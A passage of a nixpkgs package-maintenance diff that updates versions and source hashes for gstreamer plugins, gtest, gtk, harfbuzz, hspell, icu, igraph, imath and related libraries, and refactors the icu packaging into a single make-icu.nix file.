{ url = "https://gstreamer.freedesktop.org/src/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-cFF3BRwimXbxca3Nerl2Kua8xLt33DCKC9gKY9psM38="; + hash = "sha256-gIrxSPiUBP90hQ+MpScr7Uv+Z/liAjHcRRT9B+sm0KQ="; }; outputs = [ diff --git a/pkgs/development/libraries/gstreamer/ugly/default.nix b/pkgs/development/libraries/gstreamer/ugly/default.nix index cc78a6ec0f805..d64fcae68965b 100644 --- a/pkgs/development/libraries/gstreamer/ugly/default.nix +++ b/pkgs/development/libraries/gstreamer/ugly/default.nix @@ -26,13 +26,13 @@ stdenv.mkDerivation rec { pname = "gst-plugins-ugly"; - version = "1.22.8"; + version = "1.22.9"; outputs = [ "out" "dev" ]; src = fetchurl { url = "https://gstreamer.freedesktop.org/src/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-B2HZa6UI4BwCcYgbJoKMK//X2K/VCHIhnwiPdVslLKc="; + hash = "sha256-C/aF1mAVoB3T/BZxtkocissyHdnUq54Fopqxl4KqYjY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/gstreamer/vaapi/default.nix b/pkgs/development/libraries/gstreamer/vaapi/default.nix index b3a7142edae95..1a63588397075 100644 --- a/pkgs/development/libraries/gstreamer/vaapi/default.nix +++ b/pkgs/development/libraries/gstreamer/vaapi/default.nix @@ -24,11 +24,11 @@ stdenv.mkDerivation rec { pname = "gstreamer-vaapi"; - version = "1.22.8"; + version = "1.22.9"; src = fetchurl { url = "https://gstreamer.freedesktop.org/src/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-Epi6NHpwxCuIzev5G2Wf6gKxu3Jp6r+OKePAvVgniSg="; + hash = "sha256-i6INqMTL9bKVPbqQRnLEJ10AU+FSj5f9+OWZQseIPKg="; }; outputs = [ diff --git a/pkgs/development/libraries/gtest/default.nix b/pkgs/development/libraries/gtest/default.nix index 80013e3613d01..51e0c685a43d2 100644 --- a/pkgs/development/libraries/gtest/default.nix +++ b/pkgs/development/libraries/gtest/default.nix @@ -8,15 +8,15 @@ stdenv.mkDerivation rec { pname = "gtest"; - version = "1.12.1"; + version = "1.14.0"; outputs = [ "out" "dev" ]; src = fetchFromGitHub { owner = "google"; repo = "googletest"; - rev = "release-${version}"; - hash = "sha256-W+OxRTVtemt2esw4P7IyGWXOonUN5ZuscjvzqkYvZbM="; + rev = "v${version}"; + hash = "sha256-t0RchAHTJbuI5YW4uyBPykTvcjy90JW9AOPNjIhwh6U="; }; patches = [ diff --git a/pkgs/development/libraries/gtest/fix-cmake-config-includedir.patch b/pkgs/development/libraries/gtest/fix-cmake-config-includedir.patch index 573884fdcbcdc..6d29e04b25685 100644 --- a/pkgs/development/libraries/gtest/fix-cmake-config-includedir.patch +++ b/pkgs/development/libraries/gtest/fix-cmake-config-includedir.patch @@ -1,34 +1,34 @@ diff --git a/googlemock/CMakeLists.txt b/googlemock/CMakeLists.txt -index 5c1f0daf..ed8aae58 100644 +index 428bd9f8..04b84539 100644 --- a/googlemock/CMakeLists.txt +++ b/googlemock/CMakeLists.txt -@@ -108,10 +108,10 @@ if (DEFINED CMAKE_VERSION AND NOT "${CMAKE_VERSION}" VERSION_LESS "2.8.11") - string(REPLACE ";" "$<SEMICOLON>" dirs "${gmock_build_include_dirs}") - target_include_directories(gmock SYSTEM INTERFACE - "$<BUILD_INTERFACE:${dirs}>" -- "$<INSTALL_INTERFACE:$<INSTALL_PREFIX>/${CMAKE_INSTALL_INCLUDEDIR}>") -+ "$<INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}>") - target_include_directories(gmock_main SYSTEM INTERFACE - "$<BUILD_INTERFACE:${dirs}>" -- "$<INSTALL_INTERFACE:$<INSTALL_PREFIX>/${CMAKE_INSTALL_INCLUDEDIR}>") -+ "$<INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}>") - endif() +@@ -104,10 +104,10 @@ endif() + string(REPLACE ";" "$<SEMICOLON>" dirs "${gmock_build_include_dirs}") + target_include_directories(gmock SYSTEM INTERFACE + "$<BUILD_INTERFACE:${dirs}>" +- "$<INSTALL_INTERFACE:$<INSTALL_PREFIX>/${CMAKE_INSTALL_INCLUDEDIR}>") ++ "$<INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}>") + target_include_directories(gmock_main SYSTEM INTERFACE + "$<BUILD_INTERFACE:${dirs}>" +- "$<INSTALL_INTERFACE:$<INSTALL_PREFIX>/${CMAKE_INSTALL_INCLUDEDIR}>") ++ "$<INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}>") ######################################################################## + # diff --git a/googletest/CMakeLists.txt b/googletest/CMakeLists.txt -index aa00a5f3..50434fed 100644 +index 51a67c91..fb09e978 100644 --- a/googletest/CMakeLists.txt +++ b/googletest/CMakeLists.txt -@@ -134,10 +134,10 @@ if (DEFINED CMAKE_VERSION AND NOT "${CMAKE_VERSION}" VERSION_LESS "2.8.11") - string(REPLACE ";" "$<SEMICOLON>" dirs "${gtest_build_include_dirs}") - target_include_directories(gtest SYSTEM INTERFACE - "$<BUILD_INTERFACE:${dirs}>" -- "$<INSTALL_INTERFACE:$<INSTALL_PREFIX>/${CMAKE_INSTALL_INCLUDEDIR}>") -+ "$<INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}>") - target_include_directories(gtest_main SYSTEM INTERFACE - "$<BUILD_INTERFACE:${dirs}>" -- "$<INSTALL_INTERFACE:$<INSTALL_PREFIX>/${CMAKE_INSTALL_INCLUDEDIR}>") -+ "$<INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}>") - endif() +@@ -143,10 +143,10 @@ set_target_properties(gtest_main PROPERTIES VERSION ${GOOGLETEST_VERSION}) + string(REPLACE ";" "$<SEMICOLON>" dirs "${gtest_build_include_dirs}") + target_include_directories(gtest SYSTEM INTERFACE + "$<BUILD_INTERFACE:${dirs}>" +- "$<INSTALL_INTERFACE:$<INSTALL_PREFIX>/${CMAKE_INSTALL_INCLUDEDIR}>") ++ "$<INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}>") + target_include_directories(gtest_main SYSTEM INTERFACE + "$<BUILD_INTERFACE:${dirs}>" +- "$<INSTALL_INTERFACE:$<INSTALL_PREFIX>/${CMAKE_INSTALL_INCLUDEDIR}>") ++ "$<INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}>") if(CMAKE_SYSTEM_NAME MATCHES "QNX") target_link_libraries(gtest PUBLIC regex) + endif() diff --git a/pkgs/development/libraries/gtk/3.x.nix b/pkgs/development/libraries/gtk/3.x.nix index c244414c55087..4692bbc971266 100644 --- a/pkgs/development/libraries/gtk/3.x.nix +++ b/pkgs/development/libraries/gtk/3.x.nix @@ -64,7 +64,7 @@ in stdenv.mkDerivation (finalAttrs: { pname = "gtk+3"; - version = "3.24.39"; + version = "3.24.41"; outputs = [ "out" "dev" ] ++ lib.optional withIntrospection "devdoc"; outputBin = "dev"; @@ -78,7 +78,7 @@ stdenv.mkDerivation (finalAttrs: { inherit (finalAttrs) version; in fetchurl { url = "mirror://gnome/sources/gtk+/${lib.versions.majorMinor version}/gtk+-${version}.tar.xz"; - sha256 = "sha256-HKw+VmubLzZTpFjAjC3N/cqfkIA3rAPJ2FZLQpV3jXk="; + sha256 = "sha256-R9phSHrzCHqUvEkpb9AlygvAL5bvBsVW58iYi9ZRtvo="; }; patches = [ diff --git a/pkgs/development/libraries/gtk/4.x.nix b/pkgs/development/libraries/gtk/4.x.nix index 2d14823accf40..036d1ab0d49d0 100644 --- a/pkgs/development/libraries/gtk/4.x.nix +++ b/pkgs/development/libraries/gtk/4.x.nix @@ -54,6 +54,7 @@ , Cocoa , libexecinfo , broadwaySupport ? true +, testers }: let @@ -66,9 +67,9 @@ let in -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "gtk4"; - version = "4.12.4"; + version = "4.12.5"; outputs = [ "out" "dev" ] ++ lib.optionals x11Support [ "devdoc" ]; outputBin = "dev"; @@ -79,15 +80,10 @@ stdenv.mkDerivation rec { ]; src = fetchurl { - url = "mirror://gnome/sources/gtk/${lib.versions.majorMinor version}/gtk-${version}.tar.xz"; - sha256 = "umfGSY5Vmfko7a+54IoyCt+qUKsvDab8arIlL8LVdSA="; + url = with finalAttrs; "mirror://gnome/sources/gtk/${lib.versions.majorMinor version}/gtk-${version}.tar.xz"; + sha256 = "KLNW1ZDuaO9ibi75ggst0hRBSEqaBCpaPwxA6d/E9Pg="; }; - patches = [ - # https://github.com/NixOS/nixpkgs/pull/218143#issuecomment-1501059486 - ./patches/4.0-fix-darwin-build.patch - ]; - depsBuildBuild = [ pkg-config ]; @@ -109,7 +105,7 @@ stdenv.mkDerivation rec { wayland-scanner ] ++ lib.optionals vulkanSupport [ shaderc # for glslc - ] ++ setupHooks; + ] ++ finalAttrs.setupHooks; buildInputs = [ libxkbcommon @@ -245,7 +241,7 @@ stdenv.mkDerivation rec { for program in ''${demos[@]}; do wrapProgram $dev/bin/$program \ - --prefix XDG_DATA_DIRS : "$GSETTINGS_SCHEMAS_PATH:$out/share/gsettings-schemas/${pname}-${version}" + --prefix XDG_DATA_DIRS : "$GSETTINGS_SCHEMAS_PATH:$out/share/gsettings-schemas/${finalAttrs.pname}-${finalAttrs.version}" done '' + lib.optionalString x11Support '' # Cannot be in postInstall, otherwise _multioutDocs hook in preFixup will move right back. @@ -258,6 +254,11 @@ stdenv.mkDerivation rec { versionPolicy = "odd-unstable"; attrPath = "gtk4"; }; + tests = { + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; }; meta = with lib; { @@ -276,6 +277,13 @@ stdenv.mkDerivation rec { license = licenses.lgpl2Plus; maintainers = teams.gnome.members ++ (with maintainers; [ raskin ]); platforms = platforms.all; - changelog = "https://gitlab.gnome.org/GNOME/gtk/-/raw/${version}/NEWS"; + changelog = "https://gitlab.gnome.org/GNOME/gtk/-/raw/${finalAttrs.version}/NEWS"; + pkgConfigModules = [ + "gtk4" + "gtk4-broadway" + "gtk4-unix-print" + "gtk4-wayland" + "gtk4-x11" + ]; }; -} +}) diff --git a/pkgs/development/libraries/gtk/patches/4.0-fix-darwin-build.patch b/pkgs/development/libraries/gtk/patches/4.0-fix-darwin-build.patch deleted file mode 100644 index 01f4377aa0a7c..0000000000000 --- a/pkgs/development/libraries/gtk/patches/4.0-fix-darwin-build.patch +++ /dev/null @@ -1,31 +0,0 @@ -diff --git a/gdk/macos/gdkmacospasteboard-private.h b/gdk/macos/gdkmacospasteboard-private.h -index fdeb936..c4b8666 100644 ---- a/gdk/macos/gdkmacospasteboard-private.h -+++ b/gdk/macos/gdkmacospasteboard-private.h -@@ -27,6 +27,10 @@ - - G_BEGIN_DECLS - -+#ifndef AVAILABLE_MAC_OS_X_VERSION_10_13_AND_LATER -+typedef NSString *NSPasteboardType; -+#endif -+ - @interface GdkMacosPasteboardItemDataProvider : NSObject <NSPasteboardItemDataProvider> - { - GdkContentProvider *_contentProvider; -diff --git a/gdk/macos/gdkmacospasteboard.c b/gdk/macos/gdkmacospasteboard.c -index 66b3c9f..b9e0d8a 100644 ---- a/gdk/macos/gdkmacospasteboard.c -+++ b/gdk/macos/gdkmacospasteboard.c -@@ -400,7 +400,11 @@ _gdk_macos_pasteboard_register_drag_types (NSWindow *window) - gdk_content_formats_get_gtypes (formats, &n_gtypes); - - if (n_gtypes) -+#ifdef AVAILABLE_MAC_OS_X_VERSION_10_13_AND_LATER - [ret addObject:NSPasteboardTypeURL]; -+#else -+ [ret addObject:[[NSString alloc] initWithUTF8String:"public.url"]]; -+#endif - - gdk_content_formats_unref (formats); - } diff --git a/pkgs/development/libraries/harfbuzz/default.nix b/pkgs/development/libraries/harfbuzz/default.nix index 993fca591e841..814b6042544c1 100644 --- a/pkgs/development/libraries/harfbuzz/default.nix +++ b/pkgs/development/libraries/harfbuzz/default.nix @@ -1,11 +1,9 @@ { lib , stdenv , fetchurl -, fetchpatch , pkg-config , glib , freetype -, fontconfig , libintl , meson , ninja @@ -35,11 +33,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "harfbuzz${lib.optionalString withIcu "-icu"}"; - version = "7.3.0"; + version = "8.3.0"; src = fetchurl { url = "https://github.com/harfbuzz/harfbuzz/releases/download/${finalAttrs.version}/harfbuzz-${finalAttrs.version}.tar.xz"; - hash = "sha256-IHcHiXSaybqEbfM5g9vaItuDbHDZ9dBQy5qlNHCUqPs="; + hash = "sha256-EJUB6uuL3j6tsl+rQWTpk/us4pw9d1vKocHlji8V+Ec="; }; postPatch = '' @@ -65,6 +63,7 @@ stdenv.mkDerivation (finalAttrs: { (lib.mesonEnable "graphite" withGraphite2) (lib.mesonEnable "icu" withIcu) (lib.mesonEnable "introspection" withIntrospection) + (lib.mesonOption "cmakepackagedir" "${placeholder "dev"}/lib/cmake") ]; depsBuildBuild = [ diff --git a/pkgs/development/libraries/hpp-fcl/default.nix b/pkgs/development/libraries/hpp-fcl/default.nix index c91d3cbaac4f8..59bf04f726091 100644 --- a/pkgs/development/libraries/hpp-fcl/default.nix +++ b/pkgs/development/libraries/hpp-fcl/default.nix @@ -3,6 +3,7 @@ , fetchFromGitHub , fetchpatch , cmake +, doxygen , boost , eigen , assimp @@ -14,20 +15,21 @@ stdenv.mkDerivation (finalAttrs: { pname = "hpp-fcl"; - version = "2.4.1"; + version = "2.4.4"; src = fetchFromGitHub { owner = "humanoid-path-planner"; repo = finalAttrs.pname; rev = "v${finalAttrs.version}"; fetchSubmodules = true; - hash = "sha256-Suow6dvDZI0uS/CkzfkWIxYjn+i4Fbyd2EnqlxM2gMY="; + hash = "sha256-BwS9RSirdlD6Cqwp7KD59dkh2WsJVwdlH9LzM2AFjI4="; }; strictDeps = true; nativeBuildInputs = [ cmake + doxygen ]; propagatedBuildInputs = [ @@ -44,6 +46,7 @@ stdenv.mkDerivation (finalAttrs: { cmakeFlags = [ "-DHPP_FCL_HAS_QHULL=ON" + "-DINSTALL_DOCUMENTATION=ON" ] ++ lib.optionals (!pythonSupport) [ "-DBUILD_PYTHON_INTERFACE=OFF" ]; @@ -53,6 +56,13 @@ stdenv.mkDerivation (finalAttrs: { "hppfcl" ]; + outputs = [ "dev" "out" "doc" ]; + postFixup = '' + moveToOutput share/ament_index "$dev" + moveToOutput share/${finalAttrs.pname} "$dev" + ''; + + meta = with lib; { description = "An extension of the Flexible Collision Library"; homepage = "https://github.com/humanoid-path-planner/hpp-fcl"; diff --git a/pkgs/development/libraries/hspell/default.nix b/pkgs/development/libraries/hspell/default.nix index 2a65afad809a8..4d35bb34b91dc 100644 --- a/pkgs/development/libraries/hspell/default.nix +++ b/pkgs/development/libraries/hspell/default.nix @@ -5,17 +5,18 @@ stdenv.mkDerivation rec { passthru = { pname = "hspell"; - version = "1.1"; + version = "1.4"; }; PERL_USE_UNSAFE_INC = "1"; src = fetchurl { url = "${meta.homepage}${name}.tar.gz"; - sha256 = "08x7rigq5pa1pfpl30qp353hbdkpadr1zc49slpczhsn0sg36pd6"; + hash = "sha256-cxD11YdA0h1tIVwReWWGAu99qXqBa8FJfIdkvpeqvqM="; }; - patchPhase = "patchShebangs ."; + patches = [./remove-shared-library-checks.patch]; + postPatch = "patchShebangs ."; preBuild = lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) '' make CC=${buildPackages.stdenv.cc}/bin/cc find_sizes mv find_sizes find_sizes_build diff --git a/pkgs/development/libraries/hspell/dicts.nix b/pkgs/development/libraries/hspell/dicts.nix index e11cbbce33360..8b629d9b61946 100644 --- a/pkgs/development/libraries/hspell/dicts.nix +++ b/pkgs/development/libraries/hspell/dicts.nix @@ -2,7 +2,7 @@ let dict = variant: a: stdenv.mkDerivation ({ - inherit (hspell) version src patchPhase nativeBuildInputs; + inherit (hspell) version src patches postPatch nativeBuildInputs; buildFlags = [ variant ]; meta = hspell.meta // { diff --git a/pkgs/development/libraries/hspell/remove-shared-library-checks.patch b/pkgs/development/libraries/hspell/remove-shared-library-checks.patch new file mode 100644 index 0000000000000..b1f2fbe37147f --- /dev/null +++ b/pkgs/development/libraries/hspell/remove-shared-library-checks.patch @@ -0,0 +1,12 @@ +--- a/Makefile.in 2017-06-22 22:32:50.000000000 +0100 ++++ a/Makefile.in.patched 2024-01-20 21:41:59.135013186 +0000 +@@ -142,9 +142,6 @@ + test -d $(DESTDIR)$(INCLUDEDIR) || mkdir -m 755 -p $(DESTDIR)$(INCLUDEDIR) + cp hspell.h linginfo.h $(DESTDIR)$(INCLUDEDIR)/ + chmod 644 $(DESTDIR)$(INCLUDEDIR)/hspell.h $(DESTDIR)$(INCLUDEDIR)/linginfo.h +- test -f libhspell.so.0 && cp libhspell.so.0 $(DESTDIR)$(LIBDIR)/ +- test -f libhspell.so.0 && chmod 755 $(DESTDIR)$(LIBDIR)/libhspell.so.0 +- test -f libhspell.so.0 && ln -sf libhspell.so.0 $(DESTDIR)$(LIBDIR)/libhspell.so + + + ################################################ diff --git a/pkgs/development/libraries/hunspell/dictionaries.nix b/pkgs/development/libraries/hunspell/dictionaries.nix index dbaa4888922c5..d62f672f0660d 100644 --- a/pkgs/development/libraries/hunspell/dictionaries.nix +++ b/pkgs/development/libraries/hunspell/dictionaries.nix @@ -828,14 +828,14 @@ rec { th_TH = th-th; th-th = mkDict { pname = "hunspell-dict-th-th"; - version = "experimental-2023-03-01"; + version = "experimental-2024-02-27"; dictFileName = "th_TH"; readmeFile = "README.md"; src = fetchFromGitHub { owner = "SyafiqHadzir"; repo = "Hunspell-TH"; - rev = "9c09f1b7c0eb4d04b9f6f427901686c5c3d9fa54"; - sha256 = "1wszpnbgj31k72x1vvcfkzcpmxsncdpqsi3zagah7swilpi7cqm4"; + rev = "62d35f9211ca1eb4c367eac2ae57193efe6e88d2"; + sha256 = "sha256-t4m4u+qIgJPrKz58Cu2Q+knYm/+cvrNLzQsiiSRTB1A="; }; meta = with lib; { description = "Hunspell dictionary for Central Thai (Thailand)"; diff --git a/pkgs/development/libraries/icu/58.nix b/pkgs/development/libraries/icu/58.nix deleted file mode 100644 index e53e4e3737ed1..0000000000000 --- a/pkgs/development/libraries/icu/58.nix +++ /dev/null @@ -1,14 +0,0 @@ -fetchurl: -let - keywordFix = fetchurl { - url = "http://bugs.icu-project.org/trac/changeset/39484?format=diff"; - name = "icu-changeset-39484.diff"; - sha256 = "0hxhpgydalyxacaaxlmaddc1sjwh65rsnpmg0j414mnblq74vmm8"; - }; -in -import ./base.nix { - version = "58.2"; - sha256 = "036shcb3f8bm1lynhlsb4kpjm9s9c2vdiir01vg216rs2l8482ib"; - patches = [ keywordFix ]; - patchFlags = [ "-p4" ]; -} diff --git a/pkgs/development/libraries/icu/60.nix b/pkgs/development/libraries/icu/60.nix deleted file mode 100644 index e56135b15c628..0000000000000 --- a/pkgs/development/libraries/icu/60.nix +++ /dev/null @@ -1,4 +0,0 @@ -import ./base.nix { - version = "60.2"; - sha256 = "065l3n0q9wqaw8dz20x82srshhm6i987fr9ync5xf9mr6n7ylwzh"; -} diff --git a/pkgs/development/libraries/icu/63.nix b/pkgs/development/libraries/icu/63.nix deleted file mode 100644 index a83e2cd5f5ebe..0000000000000 --- a/pkgs/development/libraries/icu/63.nix +++ /dev/null @@ -1,16 +0,0 @@ -{ stdenv, lib, fetchurl, fetchpatch, fixDarwinDylibNames, nativeBuildRoot, testers -, buildRootOnly ? false -}: - -import ./base.nix { - version = "63.1"; - sha256 = "17fbk0lm2clsxbmjzvyp245ayx0n4chji3ky1f3fbz2ljjv91i05"; - patches = [ - # https://bugzilla.mozilla.org/show_bug.cgi?id=1499398 - (fetchpatch { - url = "https://github.com/unicode-org/icu/commit/8baff8f03e07d8e02304d0c888d0bb21ad2eeb01.patch"; - sha256 = "1awfa98ljcf95a85cssahw6bvdnpbq5brf1kgspy14w4mlmhd0jb"; - }) - ]; - patchFlags = [ "-p3" ]; -} { inherit stdenv lib fetchurl fixDarwinDylibNames nativeBuildRoot testers buildRootOnly; } diff --git a/pkgs/development/libraries/icu/64.nix b/pkgs/development/libraries/icu/64.nix deleted file mode 100644 index c7bdd22c17933..0000000000000 --- a/pkgs/development/libraries/icu/64.nix +++ /dev/null @@ -1,4 +0,0 @@ -import ./base.nix { - version = "64.2"; - sha256 = "0v0xsf14xwlj125y9fd8lrhsaych4d8liv8gr746zng6g225szb2"; -} diff --git a/pkgs/development/libraries/icu/66.nix b/pkgs/development/libraries/icu/66.nix deleted file mode 100644 index 5dfad945d2912..0000000000000 --- a/pkgs/development/libraries/icu/66.nix +++ /dev/null @@ -1,4 +0,0 @@ -import ./base.nix { - version = "66.1"; - sha256 = "0bharwzc9nzkbrcf405z2nb3h7q0711z450arz0mjmdrk8hg58sj"; -} diff --git a/pkgs/development/libraries/icu/67.nix b/pkgs/development/libraries/icu/67.nix deleted file mode 100644 index 23a1069ea14fb..0000000000000 --- a/pkgs/development/libraries/icu/67.nix +++ /dev/null @@ -1,4 +0,0 @@ -import ./base.nix { - version = "67.1"; - sha256 = "1p6mhvxl0xr2n0g6xdps3mwzwlv6mjsz3xlpm793p9aiybb0ra4l"; -} diff --git a/pkgs/development/libraries/icu/68.nix b/pkgs/development/libraries/icu/68.nix deleted file mode 100644 index 5aeba0f2628c7..0000000000000 --- a/pkgs/development/libraries/icu/68.nix +++ /dev/null @@ -1,4 +0,0 @@ -import ./base.nix { - version = "68.2"; - sha256 = "09fng7a80xj8d5r1cgbgq8r47dsw5jsr6si9p2cj2ylhwgg974f7"; -} diff --git a/pkgs/development/libraries/icu/69.nix b/pkgs/development/libraries/icu/69.nix deleted file mode 100644 index 8cea41daadb9e..0000000000000 --- a/pkgs/development/libraries/icu/69.nix +++ /dev/null @@ -1,4 +0,0 @@ -import ./base.nix { - version = "69.1"; - sha256 = "0icps0avkwy5df3wwc5kybxcg63hcgk4phdh9g244g0xrmx7pfjc"; -} diff --git a/pkgs/development/libraries/icu/70.nix b/pkgs/development/libraries/icu/70.nix deleted file mode 100644 index 955bbcac02f83..0000000000000 --- a/pkgs/development/libraries/icu/70.nix +++ /dev/null @@ -1,4 +0,0 @@ -import ./base.nix { - version = "70.1"; - sha256 = "1m9zgkaf5lyh65nyc6n0n5bs2f5k53nnj1ih6nskpwbvq4l5884d"; -} diff --git a/pkgs/development/libraries/icu/71.nix b/pkgs/development/libraries/icu/71.nix deleted file mode 100644 index 456dffc322a43..0000000000000 --- a/pkgs/development/libraries/icu/71.nix +++ /dev/null @@ -1,4 +0,0 @@ -import ./base.nix { - version = "71.1"; - sha256 = "sha256-Z6fm5R9h+vEwa2k1Mz4TssSKvY2m0vRs5q3KJLHiHr8="; -} diff --git a/pkgs/development/libraries/icu/72.nix b/pkgs/development/libraries/icu/72.nix deleted file mode 100644 index 8eeb10138d125..0000000000000 --- a/pkgs/development/libraries/icu/72.nix +++ /dev/null @@ -1,4 +0,0 @@ -import ./base.nix { - version = "72.1"; - sha256 = "sha256-otLTghcJKn7VZjXjRGf5L5drNw4gGCrTJe3qZoGnHWg="; -} diff --git a/pkgs/development/libraries/icu/73.nix b/pkgs/development/libraries/icu/73.nix deleted file mode 100644 index dfbdf1403adc3..0000000000000 --- a/pkgs/development/libraries/icu/73.nix +++ /dev/null @@ -1,4 +0,0 @@ -import ./base.nix { - version = "73.2"; - sha256 = "sha256-gYqAcS7TyqzZtlIwXgGvx/oWfm8ulJltpEuQwqtgTOE="; -} diff --git a/pkgs/development/libraries/icu/default.nix b/pkgs/development/libraries/icu/default.nix new file mode 100644 index 0000000000000..bf595108baaf6 --- /dev/null +++ b/pkgs/development/libraries/icu/default.nix @@ -0,0 +1,77 @@ +{ stdenv, lib, fetchurl, fetchpatch, fixDarwinDylibNames, testers, buildPackages }: + +let + make-icu = (import ./make-icu.nix) { + inherit stdenv lib buildPackages fetchurl fixDarwinDylibNames testers; + }; +in +{ + icu74 = make-icu { + version = "74.2"; + hash = "sha256-aNsIIhKpbW9T411g9H04uWLp+dIHp0z6x4Apro/14Iw="; + }; + icu73 = make-icu { + version = "73.2"; + hash = "sha256-gYqAcS7TyqzZtlIwXgGvx/oWfm8ulJltpEuQwqtgTOE="; + }; + icu72 = make-icu { + version = "72.1"; + hash = "sha256-otLTghcJKn7VZjXjRGf5L5drNw4gGCrTJe3qZoGnHWg="; + }; + icu71 = make-icu { + version = "71.1"; + hash = "sha256-Z6fm5R9h+vEwa2k1Mz4TssSKvY2m0vRs5q3KJLHiHr8="; + }; + icu70 = make-icu { + version = "70.1"; + hash = "sha256-jSBUKMF78Tu1NTAGae0oszihV7HAGuZtMdDT4tR8P9U="; + }; + icu69 = make-icu { + version = "69.1"; + hash = "sha256-TLp7es0dPELES7DBS+ZjcJjH+vKzMM6Ha8XzuRXQl0U="; + }; + icu68 = make-icu { + version = "68.2"; + hash = "sha256-x5GT3uOQeiGZuClqk7UsXLdDMsJvPRZyaUh2gNR51iU="; + }; + icu67 = make-icu { + version = "67.1"; + hash = "sha256-lKgM1vJRpTvSqZf28bWsZlP+eR36tm4esCJ3QPuG1dw="; + }; + icu66 = make-icu { + version = "66.1"; + hash = "sha256-UqPyIJq5VVnBzwoU8kM4AB84lhW/AOJYXvPbxD7PCi4="; + }; + icu64 = make-icu { + version = "64.2"; + hash = "sha256-Yn1dhHjm2W/IyQ/tSFEjkHmlYaaoueSLCJLyToLTHWw="; + }; + icu63 = make-icu { + version = "63.1"; + hash = "sha256-BcSQtpRU/OWGC36OKCEjFnSvChHX7y/r6poyUSmYy50="; + patches = [ + # https://bugzilla.mozilla.org/show_bug.cgi?id=1499398 + (fetchpatch { + url = "https://github.com/unicode-org/icu/commit/8baff8f03e07d8e02304d0c888d0bb21ad2eeb01.patch"; + sha256 = "1awfa98ljcf95a85cssahw6bvdnpbq5brf1kgspy14w4mlmhd0jb"; + }) + ]; + patchFlags = [ "-p3" ]; + }; + icu60 = make-icu { + version = "60.2"; + hash = "sha256-8HPqjzW5JtcLsz5ld1CKpkKosxaoA/Eb4grzhIEdtBg="; + }; + icu58 = make-icu { + version = "58.2"; + hash = "sha256-KwpEEBU6myDeDiDH2LZgSacq7yRLU2g9DXUhNxaD2gw="; + patches = [ + (fetchurl { + url = "http://bugs.icu-project.org/trac/changeset/39484?format=diff"; + name = "icu-changeset-39484.diff"; + sha256 = "0hxhpgydalyxacaaxlmaddc1sjwh65rsnpmg0j414mnblq74vmm8"; + }) + ]; + patchFlags = [ "-p4" ]; + }; +} diff --git a/pkgs/development/libraries/icu/base.nix b/pkgs/development/libraries/icu/make-icu.nix index c5e46fa4530d6..836a7e3c73a69 100644 --- a/pkgs/development/libraries/icu/base.nix +++ b/pkgs/development/libraries/icu/make-icu.nix @@ -1,17 +1,17 @@ -{ version, sha256, patches ? [], patchFlags ? [] }: -{ stdenv, lib, fetchurl, fixDarwinDylibNames - # Cross-compiled icu4c requires a build-root of a native compile -, buildRootOnly ? false, nativeBuildRoot -, testers -}: +{ stdenv, lib, buildPackages, fetchurl, fixDarwinDylibNames, testers }: + +{ version, hash, patches ? [], patchFlags ? [] }: let + # Cross-compiled icu4c requires a build-root of a native compile + nativeBuildRoot = buildPackages."icu${lib.versions.major version}".buildRootOnly; + pname = "icu4c"; baseAttrs = { src = fetchurl { url = "https://github.com/unicode-org/icu/releases/download/release-${lib.replaceStrings [ "." ] [ "-" ] version}/icu4c-${lib.replaceStrings [ "." ] [ "_" ] version}-src.tgz"; - inherit sha256; + inherit hash; }; postUnpack = '' @@ -99,10 +99,9 @@ let ''; }; - attrs = if buildRootOnly - then buildRootOnlyAttrs - else realAttrs; + mkWithAttrs = attrs: stdenv.mkDerivation (finalAttrs: attrs // { + passthru.tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage; + passthru.buildRootOnly = mkWithAttrs buildRootOnlyAttrs; + }); in -stdenv.mkDerivation (finalAttrs: attrs // { - passthru.tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage; -}) + mkWithAttrs realAttrs diff --git a/pkgs/development/libraries/igraph/default.nix b/pkgs/development/libraries/igraph/default.nix index b0017e03ebc7f..55915b4bb523f 100644 --- a/pkgs/development/libraries/igraph/default.nix +++ b/pkgs/development/libraries/igraph/default.nix @@ -26,13 +26,13 @@ assert (blas.isILP64 == lapack.isILP64 && stdenv.mkDerivation (finalAttrs: { pname = "igraph"; - version = "0.10.9"; + version = "0.10.10"; src = fetchFromGitHub { owner = "igraph"; repo = finalAttrs.pname; rev = finalAttrs.version; - hash = "sha256-Iaez6Rrd684vsraCkEH5a16rXfc53MyPXcYf3sOcaOY="; + hash = "sha256-xFX48qAr0x0iNRns/aGH9UKL0wGJyfccQLdEXUFI/TU="; }; postPatch = '' diff --git a/pkgs/development/libraries/imath/default.nix b/pkgs/development/libraries/imath/default.nix index 17d5f57c76c12..79b91afcd529f 100644 --- a/pkgs/development/libraries/imath/default.nix +++ b/pkgs/development/libraries/imath/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "imath"; - version = "3.1.9"; + version = "3.1.10"; src = fetchFromGitHub { owner = "AcademySoftwareFoundation"; repo = "imath"; rev = "v${version}"; - sha256 = "sha256-NcGiYz7jbxLyVd80lOIyN3zXcC4mHh+dcFEY4Kqw9BY="; + sha256 = "sha256-Of/F2FfSvVnhrafRqAyV/2VZpRtDN5Pg5AnUAgL3wiM="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/imgui/default.nix b/pkgs/development/libraries/imgui/default.nix index 244a3570c0317..275d44e88dd93 100644 --- a/pkgs/development/libraries/imgui/default.nix +++ b/pkgs/development/libraries/imgui/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = 